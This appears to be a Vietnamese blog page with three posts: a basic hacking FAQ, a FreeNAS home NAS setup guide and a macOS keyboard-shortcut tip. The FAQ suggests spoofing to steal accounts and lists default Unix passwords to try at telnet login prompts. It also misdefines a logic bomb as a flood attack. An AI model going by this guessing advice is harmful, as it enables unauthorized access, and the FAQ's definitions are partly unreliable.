Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte, vì thế IP có kích thước là 4 byte, được chia thành các lớp địa chỉ.
Có 3 lớp là A, B và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25, chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức.
Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai.
Địa chỉ IP
IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗi người là duy nhất và nó sẽ đại diện cho chính người đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm và là cách người ta tìm ra IP của bạn. 
Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau :
  • Khi bạn lướt qua một trang web, IP của bạn bị ghi lại 
  • Trên IRC, bất kì ai cũng có thể có IP của bạn 
  • Trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn Do not show ip, người ta vẫn lấy được nó 
  • Nếu bạn kết nối với một ai đó, họ có thế gõ systat –n và biết được ai đang kết nối đên họ 
  • Nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn 

3. Làm thế nào để biết địa chỉ IP của mình?

  • Trong Windows : vào cmd, gõ ipconfig 
  • Trong mIRC: kết nốI đến máy chủ sau đó đánh lệnh /dns 
  • Thông qua một số trang Web có hiển thị IP . 
Gõ lệnh ipconfig vào cmd

4. IP Spoofing là gì?

Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ.
IP Spoofing
Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần giấu thông tin cá nhân.

5. Trojan, worm, virus, logicbomb là gì?

  • Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của người khác để ăn cắp nhũng tài liệu trên máy đó gửi về cho chủ nhân của nó. Cái mà nó ăn cắp có thể là mật khẩu, accourt hay cookie ... tuỳ theo ý muốn của người cài nó . 
  • Virus : Nói cho dễ hiểu thì đây là chương trình với những mã đặc biệt được cài (hoặc lây lan từ máy khác) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó, đa số virus được sử dụng để phá hoại dữ liệu hoặc máy tính. 
  • Worm: Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virus, nó cũng có thể phá hoại dữ liệu hoặc nó có thể phá hoại bên trong mạng, thậm chí còn làm sập cả mạng đó. 
  • Logicbomb: Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ, làm ngập lụt hệ thống, tắc nghẽn đường truyền (trên server) hoặc dùng làm công cụ để “khủng bố” đối phương.
Trojan, virus, worm

6. PGP là gì?

PGP là viết tắt của từ “Pretty Good Privacy”, đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu, là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS, Unix, VAX/VMS và cho những dạng khác.
Pretty Good Privacy

7. Proxy là gì?

Proxy, Server Proxy hay Proxy Server (cũng là 1), chúng ta có thể hiểu nôm na là 1 chiếc máy tính khác có nhiệm vụ xử lý dữ liệu, giống như 1 bộ chuyển đổi thông tin của tín hiệu Internet. Bằng việc kết nối qua 1 hoặc nhiều những chiếc server như trên, ban đầu máy tính của người dùng - bạn sẽ gửi đi những tín hiệu yêu cầu - request qua proxy server, tại đây những thông tin đó sẽ được xử lý và trả lại những gì bạn thấy mỗi khi truy cập vào Internet
Proxy Server
Theo cách hiểu này, thì Proxy đóng vai trò trung gian giữa chiếc máy tính bạn đang sử dụng với toàn bộ môi trường Internet bên ngoài. Bên cạnh đó, Proxy còn được dùng để lọc, ngăn chặn các website, hoặc chính xác hơn là những nội dung website tùy theo nhu cầu của chính phú, các nhà cung cấp dịch vụ...

Đọc để tìm hiểu thêm về Proxy là gì!

8. Unix là gì?

Unix là một hệ điều hành (giống Windows) .Nó hiện là hệ điều hành mạnh và thân thiết với các Hacker nhất. Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối với bạn. Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C .
Hệ điều hành Unix

9. Telnet là gì?

Telnet là một chương trình cho phép ta kết nối đến máy khác thông qua cổng (port). Mọi máy tính hoặc máy chủ (server) đều có cổng, sau đây là một số cổng thông dụng :
  • Port 21: FTP 
  • Port 23: Telnet 
  • Port 25: SMTP (Mail) 
  • Port 37: Time 
  • Port 43: Whois 
Kết nối Telnet
Ví dụ : bạn có thể gọi Telnet để kết nốI đến mail.virgin.net trên port 25 . 

10. Làm thế nào để biết mình đã Telnet đến hệ thống Unix?

Đầu tiên, khi bạn gọi Unix, thông thường nó sẽ xuất hiện một dấu nhắc: “Log in:”, (tuy nhiên, chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….)
Bây giờ ta đang ở tại dấu nhắc “log in”, bạn cần phảI nhập vào một account hợp lệ. Một account thông thường gồm có 8 đặc tính hoặc hơn, sau khi bạn nhập account vào, bạn sẽ thấy có một mật khẩu, bạn hãy thử nhập Default Password thử theo bảng sau : 
Account/Default Password
Root/ Root
Sys/Sys/System / Bin
Bin/Sys / Bin
Mountfsy/Mountfsys
NuucAnon
Anon/Anon
User/User
Games/Games
InstallInstall
DemoDemo
GuestGuest 
Theo quantrimang.com

Chủ Nhật, 15 tháng 5, 2016

Tự tạo NAS từ máy tính cũ




Với một máy tính cũ không dùng đến, hệ điều hành FreeNAS, chúng ta sẽ tự tạo một kho dữ liệu nối mạng (Network-attached storage hay NAS) linh hoạt với chi phí thấp nhất.

Kho dữ liệu nối mạng (Network-attached storage hay NAS), trên thực tế là ổ cứng ngoài, kết nối qua giao tiếp mạng và cho phép các máy tính trong mạng sử dụng các tập tin chung. Thiết bị này phổ biến trong các công ty lớn và đang chiếm lĩnh thị trường văn phòng nhỏ cũng như gia đình nhờ giá ngày càng hấp dẫn hơn.

Hình 1. Giao diện web của FreeNAS có rất nhiều tính năng, có cả soạn thảo tập tin.
Ngoài sử dụng dữ liệu đồng thời từ nhiều máy tính, NAS còn có vài điểm mạnh khác so với ổ cứng USB. Thứ nhất, NAS hỗ trợ mã hóa tập tin và có chương trình RAID để tạo ra dữ liệu dự phòng. Thứ hai, NAS thường có nhiều dịch vụ như FTP, CIFS/SMB, SSH… do đó hỗ trợ máy khách với các hệ điều hành khác nhau. Việc kết nối qua giao tiếp mạng thay cho USB tạo ra khả năng truy cập tới dữ liệu từ Internet ở bất kỳ nơi nào.
Trên thị trường hiện có bán sẵn những thiết bị NAS có thương hiệu. Nhưng ở đây chúng ta sẽ tự tạo một NAS với chi phí thấp nhất, nếu bạn có một máy tính cũ không dùng đến. Nhờ hệ điều hành FreeNAS, dựa trên FreeBSD, những tính năng kể trên có thể cấu hình một cách dễ dàng, với phần cứng không yêu cầu cao.
Các hệ điều hành dòng FreeBSD không thân thiện với người dùng như các hệ điều hành khác, nhưng bù lại có tính ổn định và bảo mật cao. Người dùng Linux sẽ dễ dàng làm quen với các khái niệm của FreeBSD hơn người dùng Windows. Tuy nhiên, nếu bạn là người dùng Windows thì cũng đừng quá lo, vì FreeNAS có giao diện web mạnh với rất nhiều tính năng (hình 1), giải quyết được vấn đề thân thiện trên. Hơn nữa, sau khi cấu hình xong máy chủ FreeNAS (tiếp theo sẽ gọi tắt là FreeNAS), hệ thống sẽ tự động cung cấp dữ liệu mà không cần đến thao tác từ phía người dùng. Những công việc cấu hình sau này sẽ được thực hiện qua mạng nhờ giao diện web.
FreeNAS có kích thước rất nhỏ. Phiên bản mới nhất tới thời điểm này là 0.7, có thể lấy về từ trang sourceforge.net, dung lượng chưa đến 80 MB. Bạn có thể chọn cài đặt hệ thống lên ổ cứng, hoặc lên ổ USB, thậm chí chạy thẳng từ CD để không chiếm chỗ trên ổ cứng, dành hết ổ cứng cho dữ liệu. Chúng tôi khuyên nên tách riêng hệ thống và dữ liệu, để vẫn có khả năng chạy hệ thống khi ổ cứng bị trục trặc và dữ liệu sẽ không bị ảnh hưởng khi cập nhật hay cài lại hệ thống.
Yêu cầu đối với phần cứng
Hình 2. Quản lý ổ cứng trong FreeNAS.
Như đã đề cập đến ở trên, FreeNAS không yêu cầu phần cứng cao:
* Máy tính với 128MB RAM có thể khởi động được từ ổ CD hoặc USB.
* Ổ USB hoặc thẻ nhớ Flash để lưu cấu hình.
* Một hoặc vài ổ cứng cho dữ liệu.
Trong trường hợp của mình, tôi có một máy tính cũ không hỗ trợ khởi động từ USB, nên chọn chạy thẳng FreeNAS từ đĩa CD (LiveCD). Xin lưu ý, khác với phần lớn các bản phân phối LiveCD của Linux, FreeNAS sẽ nạp toàn bộ hệ thống vào RAM. Sau khi khởi động xong, bạn có thể sử dụng ổ CD/DVD cho các công việc khác. Ngoài ra, tài liệu của FreeNAS cho biết cấu hình trong trường hợp sử dụng LiveCD sẽ được đọc và ghi lên đĩa mềm. Trên thực tế, FreeNAS tự động nhận ra ổ USB đã gắn vào máy tính trước khi khởi động và dùng nó thay thế cho ổ mềm. Sử dụng USB Flash tất nhiên là an toàn hơn (thường có tuổi thọ cao hơn).
Yêu cầu đối với ổ cứng rất rõ ràng: Bạn cần bao nhiêu không gian thì trang bị bấy nhiêu. Tuy nhiên, tùy theo khả năng tài chính bạn nên tính trước nhu cầu của mình trong 1-3 năm. Nếu muốn cấu hình RAID thì cần ít nhất 2 ổ cứng (trong đa số các trường hợp) cùng một dung lượng.

Hình 3. Gắn ổ cứng vào hệ thống.
Trong trường hợp cần mua ổ cứng mới mà máy tính cũ không có cổng SATA, trong khi các ổ cứng SATA hiện nay có tỷ lệ giá/dung lượng rất hấp dẫn, bạn có thể gắn thêm SATA controller vào khe PCI, ví dụ, FreeNAS hỗ trợ thẻ ST-Lab A-224 (chipset SIL-3114), gồm 4 cổng SATA II và 2 cổng e-SATA. Tuy nhiên, nếu máy tính của bạn có một thiết bị PCI khác, ví dụ card mạng, thì chúng sẽ chia sẻ tốc độ của khe PCI.
Ngoài giao tiếp của ổ cứng (SATA hay IDE), bạn còn cần quyết định chọn kích thước 2,5" hay 3,5". Chọn ổ cứng kích thước nhỏ 2,5" (thường có dung lượng nhỏ hơn) nếu bạn cần sự gọn gàng và số lượng nhiều để làm RAID. Chọn kích thước lớn hơn nếu bạn cần dung lượng (tại thời điểm hiện thời ổ cứng 3,5" dung lượng 1,5TB có giá rất hấp dẫn) và thùng máy cho phép. Sau khi chuẩn bị xong phần cứng và khởi động FreeNAS, bạn có thể mở trình duyệt trên một máy tính bất kỳ trong mạng nội bộ (LAN), gõ địa chỉ IP của máy FreeNAS theo mặc định trong phiên bản 0.7 là 192.168.1.250, sẽ hiện ra trang đăng nhập vào giao diện web với tên người dùng và mật khẩu theo mặc định là admin/freenas. Chúng ta sẽ thay đổi tên người dùng và mật khẩu, cũng như giao thức truy cập. Vấn đề này sẽ được đề cập đến ở phía sau trong mục Bảo mật.
Cấu hình ổ cứng
Hình 4. Tạo RAID JBOD từ hai ổ cứng đã định dạng.
Không cần phải bàn cãi, ổ cứng chính là phần quan trọng nhất của NAS. Mọi cấu hình cho ổ cứng trên FreeNAS được thực hiện qua trình đơn Disks. Bạn có nhiều lựa chọn, trong đó phổ biến nhất đối với NAS gia đình là hai khả năng: Dùng RAID và dùng ổ cứng riêng rẽ.
1. Không dùng RAID. Ổ đĩa cứng được dùng riêng rẽ giống như vẫn thường dùng trên máy tính cá nhân. Cũng như trường hợp máy tính cá nhân, đầu tiên bạn cần định dạng ổ cứng trong Disks>Format, chọn định dạng hệ thống tập tin mà FreeNAS hỗ trợ như UFS (Unix File System). Sau đó, thêm ổ cứng vào hệ thống qua Disks>Management (hình 2). Hai thao tác này có thể đổi chỗ cho nhau. Sau mỗi thao tác nếu cần thiết FreeNAS sẽ nhắc bạn phải nhấn nút «Apply changes» để lưu lại cấu hình.
Khác với máy tính cá nhân dùng hệ điều hành Windows, bạn cần thực hiện thêm một thao tác - gắn ổ cứng (tiếng Anh gọi là “mount”) trong Disks>Mount Point (hình 3). Theo mặc định ổ cứng sẽ được gắn vào thư mục con của /mnt — /mnt/mount_point_name.

Hình 5. Cấu hình dịch vụ Samba. Trên tất cả các trang cấu hình dịch vụ đầu tiên cần chọn nút «Enable».
2. Dùng RAID. Chúng ta sẽ thử tạo ra một hệ thống RAID đơn giản JBOD. Bạn cần thêm hai ổ cứng chưa định dạng trên trang Disks>Management. Sau đó định dạng từng ổ cứng với hệ thống tập tin "Software RAID". Bây giờ, chúng ta sẽ tạo JBOD từ những ổ cứng đó trong Disks>Software RAID (hình 4). JBOD là viết tắt của Just a Bunch Of Disks - chỉ là một tập hợp đĩa bình thường không có sao lưu cũng như sự tăng tốc độ đọc/ghi, cho phép dùng các đĩa có dung lượng khác nhau.
Sau khi tạo JBOD, cần định dạng nhóm đĩa như một ổ cứng thông thường rồi gắn chúng vào hệ thống tập tin chung (xem phần 1).
Cuối cùng, trang Disks>Encryption cho phép mã hóa những dữ liệu cần tính bảo mật cao. Như vậy, chỉ sử dụng giao diện web của FreeNAS, người dùng có thể điều khiển các chức năng có liên quan đến ổ đĩa. Dần dần chúng ta sẽ thấy mọi chức năng khác của NAS đều có thể thực hiện qua giao diện web. Ví dụ, sự quản lý các dịch vụ.
Các dịch vụ
Sau khi cấu hình xong ổ cứng hay nhóm ổ cứng RAID, chúng ta cần chia sẻ chúng với các máy tính trong mạng bằng các dịch vụ. FreeNAS hỗ trợ nhiều dịch vụ chia sẻ tập tin khác nhau, do đó máy khách có thể chạy Windows, Linux hay các hệ điều hành phổ biến khác.
1. CIFS/SMB
Hình 6. Các chia sẻ của Samba.
Trang cấu hình dịch vụ CIFS/SMB (Samba) có nhiều tùy chọn nhưng không quá phức tạp (hình 5). Dành một chút thời gian nghiên cứu bạn có thể hiểu chúng một cách dễ dàng.
Sau đó cần thêm các chia sẻ như ở hình 6. Khi thêm một chia sẻ bằng nút «Add» hình dấu cộng +, hai tùy chọn quan trọng nhất là đường dẫn tới thư mục (Path) và tên (Name).
Và bạn đã có thể kết nối tới các chia sẻ này theo cách thường dùng (hình 7).
Đến đây bạn có thể dừng đọc nếu chỉ quan tâm đến sử dụng FreeNAS để làm kho dữ liệu thông thường. Những thông tin ở sau yêu cầu bạn đọc có kiến thức cơ bản về mạng máy tính, nhưng giúp tìm hiểu cách truy cập tới NAS cũng như dữ liệu từ Internet mà vẫn giữ được tính bảo mật.
2. FTP và SSH
Giao thức truyền tập tin (File Transfer Protocol hay FTP) cách đây không lâu là cách trao đổi tập tin qua Internet phổ biến nhất. Trình FTP có thể tìm thấy trên tất cả các hệ điều hành phổ biến. Cấu hình máy chủ FTP trên FreeNAS nằm trên trang Services>FTP. Thông thường bạn có thể dùng những cấu hình theo mặc định.
SSH (Secure Shell) là giao thức dùng để thiết lập kết nối mạng có mã hóa gói dữ liệu. Ngoài ra, đường hầm SSH (ssh tunneling) còn có khả năng mã hóa các gói dữ liệu của các giao thức không hỗ trợ bảo mật (như Samba và FTP).
Trên trang Services>SSH chọn «Enable» rồi nhấn nút «Save and Restart» để tạm thời dùng những cấu hình mặc định của SSH. Chúng ta sẽ quay lại với SSH trong phần Bảo mật ở dưới.
Dịch vụ BitTorrent

Hình 7. Kết nối tới các chia sẻ của Samba từ máy tính chạy Windows Vista.
BitTorrent hiện là giao thức được sử dụng rộng rãi nhất để chia sẻ tập tin trên Internet. Có nhiều trường hợp, việc có hay không có giao thức này là yếu tố quyết định để lựa chọn NAS. Hỗ trợ của BitTorrent trên FreeNAS được bắt đầu từ phiên bản 0.69b2 với chương trình ctorrent. Đến phiên bản FreeNAS 0.69b3 nó được thay thế bởi Transmission và chương trình này được sử dụng cho tới nay.
Xin lưu ý, để sử dụng BitTorrent cũng như các dịch vụ có liên quan tới Internet, bạn cần phải thêm địa chỉ IP của máy chủ DNS (có thể dùng địa chỉ của thiết bị định tuyến router - thường là 192.168.1.1) vào phần «DNS Settings» trên trang System>General Setup.
Cấu hình dịch vụ BitTorrent nằm trên trang Services>BitTorrent (hình 8). Để các máy khác có thể lấy dữ liệu từ máy của bạn, ngoài thiết lập DNS còn cần thay đổi số cổng («Peer Port»), nếu cổng mặc định 51413 bị tường lửa của router chặn. Bạn có thể lựa chọn mở cổng đó trên router hoặc đổi nó thành một cổng khác (ví dụ, 31929), và đừng quên đánh dấu vào «Port Forwarding», cũng như chọn thư mục cho cấu hình trong «Configuration Directory», nếu không sẽ bị mất mọi thông tin về các torrent sau khi khởi động lại từ LiveCD.
Giống như những dịch vụ kể trên, sau khi nhấn nút «Save and Restart», BitTorrent sẽ khởi động. Transmission có giao diện web theo mặc định tại địa chỉ http://192.168.1.250:9091, nhưng có nhiều điểm hạn chế hơn so với giao diện web của máy chủ FreeNAS, tuy nhiên vẫn đáp ứng những nhu cầu tối thiểu. Nếu thích mày mò, bạn có thể sử dụng phần mềm nguồn mở Transmission Remote GUI để thay thế. Phần mềm này chạy trên nhiều hệ điều hành khác nhau, có nhiều tính năng hơn và nhanh hơn giao diện web (hình 9).
Bảo mật
NAS là một thiết bị của mạng máy tính, do đó tất nhiên nảy sinh ra câu hỏi: Làm sao để bảo vệ NAS cũng như giữ kín thông tin khi truy cập trong mạng nội bộ cũng như từ Internet? Rất may là hệ điều hành FreeNAS có tất cả các công cụ bảo mật cần thiết.
Hình 8. Cấu hình dịch vụ BitTorrent.
Đầu tiên, để bảo vệ FreeNAS, cần thay đổi mật khẩu của tài khoản quản trị hệ thống (admin và root sử dụng chung một mật khẩu) trên trang System>General>Password. Hãy dùng một mật khẩu mạnh gồm cả chữ cái, số và các ký hiệu nếu cần truy cập từ Internet. Lưu ý, người dùng nhóm wheel có thể chạy câu lệnh su để lấy quyền quản trị của root nếu biết mật khẩu này.
Tiếp theo, thay đổi tên tài khoản quản trị (theo mặc định là admin) để bảo vệ hệ thống khỏi kiểu tấn công theo từ điển, cũng như dùng giao thức https thay cho giao thức theo mặc định http để bảo mật truy cập tới giao diện web trên trang System>General Setup.
Cuối cùng, cấu hình lại dịch vụ SSH: Không sử dụng kết nối bằng mật khẩu (không dùng «Enable keyboard-interactive authentication»), thay vào đó tạo và thiết lập để kết nối có khóa (SSH key), cho phép tạo đường hầm SSH (chọn «Permit to do SSH Tunneling»). Tất nhiên, bạn sẽ cần tạo một tài khoản người dùng bình thường (Access>Users), và nếu có thiết bị định tuyến router thì còn phải thiết lập cấu hình NAT của nó (hình 10).
Câu lệnh để tạo đường hầm SSH từ Linux tới NAS như sau:
 $ ssh -v -p 22 -L 8888:localhost:443 \ username@your.FreeNASorRouter.IP.address

Hình 9. Chương trình Transmission Remote GUI phiên bản cho Windows.
Trong trường hợp không có địa chỉ IP cố định, bạn có thể dùng dịch vụ (miễn phí) DynDNS. Khi đó câu lệnh nói trên có dạng:
$ ssh -v -p 22 -L 8888:localhost:443 username@Name.dyndns.org
Sau khi đường hầm được thiết lập, hãy mở trình duyệt rồi gõ địa chỉ http://localhost:8888/ để truy cập tới giao diện web của máy chủ FreeNAS, tất cả các gói dữ liệu sẽ được mã hóa nhờ giao thức SSH. Tạo đường hầm cho các dịch vụ khác (Samba, FTP) một cách tương tự. Nếu cần tạo đường hầm từ hệ điều hành Windows, bạn có thể tham khảo hướng dẫn ngắn gọn và dễ hiểu trên Kho kiến thức FreeNAS.
Ngoài 3 vấn đề nêu ra, nếu có nhiều người dùng thì cần lưu ý chỉ cho phép khả năng truy cập điều khiển dòng lệnh khi đặc biệt cần thiết. Dùng đường hầm SSH hoặc SFTP thay cho FTP thông thường nếu kết nối từ Internet.
Lời kết
Hình 10: Thiết lập NAT của router cho phép tạo kết nối tới NAS từ Internet
Như vậy, từ một máy tính cũ chúng ta đã biến nó thành một máy chủ NAS có ích, đáp ứng nhu cầu lưu trữ dữ liệu. Tất nhiên là hệ điều hành FreeNAS, tuy chưa đạt phiên bản 1.0, nhưng có rất nhiều tính năng khác, như hỗ trợ các dịch vụ đồng bộ hóa (RSYNC, Unison), dịch vụ máy chủ Web, dịch vụ chia sẻ nhạc iTunes/DAAP, có khả năng theo dõi quá trình làm việc của hệ thống...
Trong quá trình sử dụng bạn sẽ dần hiểu rõ hơn về những tính năng này.
Ngoài giá cả, điểm mạnh hơn của NAS tự làm so với NAS mua sẵn còn có sự mềm dẻo và sự tự do trong lựa chọn phần cứng cũng như phần mềm. Nếu cần tăng tốc độ đọc/ghi, người dùng NAS tự làm có thể thay thế (hoặc thêm) card mạng tốc độ cao. Nhưng đó đã là một câu chuyện khác. Về điểm yếu hơn có thể kể đến kích thước lớn chiếm nhiều không gian, tiếng ồn và công suất sử dụng điện cũng thường cao hơn.
----------------------------------------------------------------------
Tài liệu tham khảo
1. http://en.wikipedia.org/wiki/Network-attached_storage.
2. http://www.nas-central.org/.
3. Trang chủ FreeNAS. http://freenas.org/.
4. Trang dự án FreeNAS trên sourceforge.net. http://sourceforge.net/projects/freenas/files/.
5. Transmission Remote GUI. http://code.google.com/p/transmisson-remote-gui/.
6. Kho kiến thức FreeNAS: Tạo đường hầm SSH. http://www.freenaskb.info/kb/?View=entry&EntryID=190.
7. Những bài blog của tác giả viết về FreeNAS. http://phanvinhthinh.blogspot.com/search/label/FreeNAS.

Nguon : http://www.pcworld.com.vn

Thứ Tư, 11 tháng 11, 2015

Hướng dẫn chuyển đổi nhanh kiểu gõ bằng tổ hợp phím "command + space"




Trong quá trình sử dụng hoặc lúc soạn thảo văn bản có đôi lúc bạn sẽ cần chuyển đổi qua lại gữa các kiểu gõ như "US, Telex, VNI". Bài viết dưới đây sẽ giúp bạn chuyển đổi một cách nhanh chóng mà không cần phải dùng đến trackpad.

1. Các bạn vão System Preferenses và chọn mục Keyboard như hình dưới.

1.
2. Chọn thẻ "Shortcuts" rồi chọn tiếp "Spotlight"
Ở thẻ Spotlight bạn sẽ thấy 2 tuỳ chọn đanh được đánh dấu. Và ở bước này bạn bỏ chọn ở mục thứ nhất "Show Spotlight search field"

2.
3. Các bạn chọn tiếp thẻ "Input Sources". Ở thẻ này các bạn tick chọn vào mục "Select the previous input source"

3.
Tới đây coi như xong. Bây giờ các bạn nhấn thử tổ hợp phím "Command + Space" để xem kết quả nhé!

Chúc các bạn thành công!

Nguồn : maccintosh.vn